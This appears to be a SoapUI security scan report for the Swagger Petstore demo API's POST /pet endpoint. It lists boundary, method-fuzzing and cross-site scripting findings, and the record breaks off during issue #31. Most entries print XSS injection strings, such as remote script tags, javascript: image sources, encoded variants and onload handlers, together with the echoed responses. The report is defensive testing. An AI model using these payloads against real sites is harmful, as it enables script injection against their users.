Issues report for Security Test 1

in Project 1/Security Test Suite 1/Swagger Petstore TestCase

Summary

Started at 2020-02-05 13:36:58

Time taken 00:39:26.751

Total scans performed: 1630

Issues found: 105

Scan	Issues Found In Test Steps		Total Issues Found
JSON Boundary Scan	POST	3	3
HTTP Method Fuzzing	POST	1	1
Cross Site Scripting	POST	101	101

Detailed Info

Issues are grouped by Security scan.

JSON Boundary Scan

A JSON Boundary Security Scan replaces values in a posted JSON body with extreme values, e.g. very high or negative integer values, trying to cause your API to behave incorrectly or reveal sensitive data.

Alerts usually indicate that you have to improve input validation and error handling.

Scan	JSON Boundary Scan
Severity	ERROR
Endpoint	https://petstore.swagger.io/v2/pet
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1
Test Step	POST
Response	*No content*
Alerts	Sensitive Information Exposure: null/empty response body
Action Points	Since extreme values inserted into the JSON body provoked an unexpected response, you may want to improve error handling in the code processing this input.
Issue Number	#1

Scan	JSON Boundary Scan
Severity	ERROR
Endpoint	https://petstore.swagger.io/v2/pet
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1
Test Step	POST
Response	*No content*
Alerts	Sensitive Information Exposure: null/empty response body
Action Points	Since extreme values inserted into the JSON body provoked an unexpected response, you may want to improve error handling in the code processing this input.
Issue Number	#2

Scan	JSON Boundary Scan
Severity	ERROR
Endpoint	https://petstore.swagger.io/v2/pet
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1
Test Step	POST
Response	*No content*
Alerts	Sensitive Information Exposure: null/empty response body
Action Points	Since extreme values inserted into the JSON body provoked an unexpected response, you may want to improve error handling in the code processing this input.
Issue Number	#3

HTTP Method Fuzzing

An HTTP Method Fuzzing Scan attempts to use other HTTP verbs (methods) than those defined in an API. For instance, if you have defined GET and POST, it will send requests using the DELETE and PUT verbs, expecting an appropriate HTTP error response and reporting alerts if it doesn't receive it.

Sometimes, unexpected HTTP verbs can overwrite data on a server or get data that shouldn't be revealed to clients.

<table>
<tr><td><b>Scan</b></td><td>HTTP Method Fuzzing</td></tr>
<tr><td><b>Severity</b></td><td>WARNING</td></tr>
<tr><td><b>Endpoint</b></td><td>https://petstore.swagger.io/v2/pet</td></tr>
<tr><td><b>Request</b></td><td>OPTIONS https://petstore.swagger.io/v2/pet HTTP/1.1</td></tr>
<tr><td><b>Test Step</b></td><td>POST</td></tr>
<tr><td><b>Modified Parameters</b></td><td><table><tr><th>Name</th><th>Value</th></tr><tr><td>method</td><td>OPTIONS</td></tr></table></td></tr>
<tr><td><b>Response</b></td><td><i>No content</i></td></tr>
<tr><td><b>Alerts</b></td><td>Valid HTTP Status Codes: Response status code: 204 is not in acceptable list of status codes</td></tr>
<tr><td><b>Action Points</b></td><td>You should check if the HTTP method `OPTIONS` should really be allowed for this resource.</td></tr>
<tr><td><b>Issue Number</b></td><td>#4</td></tr>
</table>

Cross Site Scripting

A Cross-Site Scripting (XSS) Scan attacks clients of the system under test by inserting dynamic code like JavaScript into the input, hoping that the same code is echoed in the response.

However, this is only a problem if the response is consumed directly by a browser or if HTML is built in a naive way from the response. In other words, Cross-Site Scripting Scans may sometimes give you false positives.

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.category.name	{"id":0,"category":{"id":0,"name":"<PLAINTEXT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 161
Full response:

```
{"id":9216678377732943616,"category":{"id":0,"name":"<PLAINTEXT>"},"name":
"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status"
:"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<PLAINTEXT>' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #5

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.category.name	{"id":0,"category":{"id":0,"name":"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 196
Full response:

```
{"id":9216678377732943619,"category":{"id":0,"name":"<SCRIPT SRC=http://
soapui.org/xss.js></SCRIPT>"},"name":"doggie","photoUrls":["string"],"tags
":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #6

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=javascript:alert('XSS')>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 183
Full response:

```
{"id":9216678377732943621,"category":{"id":0,"name":"<IMG SRC=javascript:alert('XSS')>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #7

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=JaVaScRiPt:alert('XSS')>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 183
Full response:

```
{"id":9216678377732943622,"category":{"id":0,"name":"<IMG SRC=JaVaScRiPt:alert('XSS')>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #8

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $. category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 193
Full response:

```
{"id":9216678377732943623,"category":{"id":0,"name":"<IMG SRC=javascript:
alert(&quot;XSS&quot;)>"},"name":"doggie","photoUrls":["string"],"tags":[{
"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #9

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $. category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>"},"name":"doggie","photoUrls": ["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 207
Full response:

```
{"id":9216678377732943626,"category":{"id":0,"name":"<IMG SRC=javascript:
alert(String.fromCharCode(88,83,83))>"},"name":"doggie","photoUrls":["
string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #10

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 286
Full response:

```
{"id":9216678377732943627,"category":{"id":0,"name":"<IMG SRC=&#106;&#97;&
#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&
#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"},"name":"doggie","photoUrls":["
string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#106;&#97;&#... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #11

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 367
Full response:

```
{"id":9216678377732943628,"category":{"id":0,"name":"<IMG SRC=&#0000106&
#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&
#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&
#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"},"name":"doggie","
photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"
available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#0000106&#00... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #12

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.category.name	{"id":0,"category":{"id":0,"name":"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 275
Full response:

```
{"id":9216678377732943629,"category":{"id":0,"name":"<IMG SRC=&#x6A&#x61&#
x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&
#x27&#x58&#x53&#x53&#x27&#x29>"},"name":"doggie","photoUrls":["string"],"
tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#x6A&#x61&#x... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #13

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.category.name	{"id":0,"category":{"id":0,"name":"<SCRIPT SRC=http://soapui.org/xss.js?<B>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 190
Full response:

```
{"id":9216678377732943641,"category":{"id":0,"name":"<SCRIPT SRC=http://
soapui.org/xss.js?<B>"},"name":"doggie","photoUrls":["string"],"tags":[{"
id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #14

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $. category.name	{"id":0,"category":{"id":0,"name":"<SCRIPT SRC=//ha.ckers.org/ .j>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name" :"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 180
Full response:

```
{"id":9216678377732943643,"category":{"id":0,"name":"<SCRIPT SRC=//
ha.ckers.org/.j>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,
"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=//ha.ckers... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #15

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $. category.name	{"id":0,"category":{"id":0,"name":"<iframe src=http://soapui.org/ scriptlet.html <"},"name":"doggie","photoUrls":["string"],"tags":[{" id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 196
Full response:

```
{"id":9216678377732943645,"category":{"id":0,"name":"<iframe src=http://
soapui.org/scriptlet.html <"},"name":"doggie","photoUrls":["string"],"tags
":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<iframe src=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #16

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $. category.name	{"id":0,"category":{"id":0,"name":"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"},"name":"doggie","photoUrls":["string"]," tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 189
Full response:

```
{"id":9216678377732943646,"category":{"id":0,"name":"<SCRIPT>a=/XSS/alert(
a.source)</SCRIPT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":
0,"name":"string"}],"status":"available"}
```

Alerts

Cross Site Scripting Detection: Content that is sent in request '<SCRIPT>a=/XSS/alert(a... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points

You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID

CWE-79

Issue Number

#17

Scan

Cross Site Scripting

Severity

ERROR

Endpoint

https://petstore.swagger.io/v2/pet

Request

POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step

POST

Modified Parameters

Name	Value
Request $. category.name	{"id":0,"category":{"id":0,"name":"\\\";alert('XSS');//"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 170
Full response:

```
{"id":9216678377732943647,"category":{"id":0,"name":"\\\";alert('XSS');//"
},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}]
,"status":"available"}
```

Alerts

Cross Site Scripting Detection: Content that is sent in request '\";alert('XSS');//' is exposed in response. Possibility for XSS script attack in: POST

Action Points

You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID

CWE-79

Issue Number

#18

Scan

Cross Site Scripting

Severity

ERROR

Endpoint

https://petstore.swagger.io/v2/pet

Request

POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step

POST

Modified Parameters

Name	Value
Request $. category.name	{"id":0,"category":{"id":0,"name":"<BODY ONLOAD=alert('XSS')>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 176
Full response:

```
{"id":9216678377732943651,"category":{"id":0,"name":"<BODY ONLOAD=alert('
XSS')>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"
string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<BODY ONLOAD=alert('XS... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #19

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $. category.name	{"id":0,"category":{"id":0,"name":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 200
Full response:

```
{"id":9216678377732943659,"category":{"id":0,"name":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<STYLE>@import'http://... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #20

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $. category.name	{"id":0,"category":{"id":0,"name":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 191
Full response:

```
{"id":9216678377732943667,"category":{"id":0,"name":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request 'ï¿½scriptï¿½alert(ï¿½X... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #21

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.category.name	{"id":0,"category":{"id":0,"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 210
Full response:

```
{"id":9216678377732943686,"category":{"id":0,"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<!--[if gte IE 4]><SCR... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #22

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.category.name	{"id":0,"category":{"id":0,"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 264
Full response:

```
{"id":9216678377732943689,"category":{"id":0,"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<OBJECT classid=clsid:... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #23

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $. category.name	{"id":0,"category":{"id":0,"name":"Redirect 302 /a.jpg http:// soapui.org/admin.asp&deleteuser"},"name":"doggie","photoUrls" :["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 208
Full response:

```
{"id":9216678377732943700,"category":{"id":0,"name":"Redirect 302 /a.jpg
http://soapui.org/admin.asp&deleteuser"},"name":"doggie","photoUrls":["
string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request 'Redirect 302 /a.jpg ht... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.category.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #24

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<PLAINTEXT> ","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":" available"}

Response

Content-type: application/json
Content length: 161
Full response:

```
{"id":9216678377732943710,"category":{"id":0,"name":"string"},"name":"<
PLAINTEXT>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"
status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<PLAINTEXT>' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #25

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified

Name	Value

Parameters

Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 196
Full response:

```
{"id":9216678377732943713,"category":{"id":0,"name":"string"},"name":"<
SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>","photoUrls":["string"],"
tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #26

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=javascript:alert('XSS')>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 183
Full response:

```
{"id":9216678377732943715,"category":{"id":0,"name":"string"},"name":"<IMG
SRC=javascript:alert('XSS')>","photoUrls":["string"],"tags":[{"id":0,"name
":"string"}],"status":"available"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #27

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=JaVaScRiPt:alert('XSS')>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 183
Full response:

```
{"id":9216678377732943716,"category":{"id":0,"name":"string"},"name":"<IMG
SRC=JaVaScRiPt:alert('XSS')>","photoUrls":["string"],"tags":[{"id":0,"name
":"string"}],"status":"available"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #28

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 193
Full response:

```
{"id":9216678377732943717,"category":{"id":0,"name":"string"},"name":"<IMG
SRC=javascript:alert(&quot;XSS&quot;)>","photoUrls":["string"],"tags":[{"
id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #29

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 207
Full response:

```
{"id":9216678377732943720,"category":{"id":0,"name":"string"},"name":"<IMG
SRC=javascript:alert(String.fromCharCode(88,83,83))>","photoUrls":["string
"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #30

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 286
Full response:

```
{"id":9216678377732943721,"category":{"id":0,"name":"string"},"name":"<IMG
SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&
#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>","photoUrls":[
"string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#106;&#97;&#... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #31

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
